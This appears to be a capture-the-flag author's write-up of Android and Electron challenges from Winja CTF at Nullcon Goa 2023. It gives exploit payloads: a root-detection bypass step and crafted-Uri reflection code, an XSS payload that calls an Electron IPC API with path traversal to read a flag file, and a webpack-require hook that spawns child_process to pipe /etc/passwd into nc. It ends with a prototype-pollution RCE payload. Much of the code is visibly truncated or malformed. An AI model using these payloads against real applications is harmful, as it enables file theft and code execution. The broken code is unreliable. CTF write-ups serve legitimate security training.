Winja CTF Offical Writeup | Nullcon Goa 2023

Hi there!

This blog contains the write-up for 2 electron source code challenges and 1 android challenge that I created for Winja CTF for the Nullcon Goa event.

This is the vague write-up. I will update it soon.

Android Challenge

  1. Bypass the root detection and emulator check, if you are using any of these
  2. Host one HTML file with the below code

<script type="text/javascript">



  1. Now, Build one more application with the below code and replace the ngrok URL with the URL of the hosted HTML page. you will see flag in the toast and in the logs as well
 Uri uri;
        try {
            Class partClass = Class.forName("$Part");
            Constructor partConstructor = partClass.getDeclaredConstructors()[0];

            Class pathPartClass = Class.forName("$PathPart");
            Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];

            Class hierarchicalUriClass = Class.forName("$HierarchicalUri");
            Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];

            Object authority = partConstructor.newInstance("", "");
            Object path = pathPartConstructor.newInstance("", "");
            uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
        } catch (Exception e) {
            System.out.println("Exception occurred");
            throw new RuntimeException(e);

        Intent intent = new Intent();

        Intent intent1 = new Intent();


Electron Application 1

  1. Using XSS, user has to call the exposed IPC module.
  2. Below is the payload for the same
 </script><script>top.window.api.receive('reply',(e=>{alert(`${e}`)})); top.window.api.sessionCheck('session','../../../../../../home/ctf/flag.txt');</script>

Electron Application 2

  1. Host the below HTML file



    <h1>Leak Internal module</h1>
    const originalCall = = function(... args){ 
    if( args[3] && args[3].name === '__webpack_require__'){
      window.__test= args[3]
      args[3]("module")._load("child_process").exec("cat /etc/passwd | nc localhost 4445")
    return originalCall.apply(this,args) 




  1. Use the below payload for gaining the RCE keyword: proto[ALLOWED_ATTR][0]=onerror&proto[ALLOWED_ATTR][1]=src append:
Load Comments?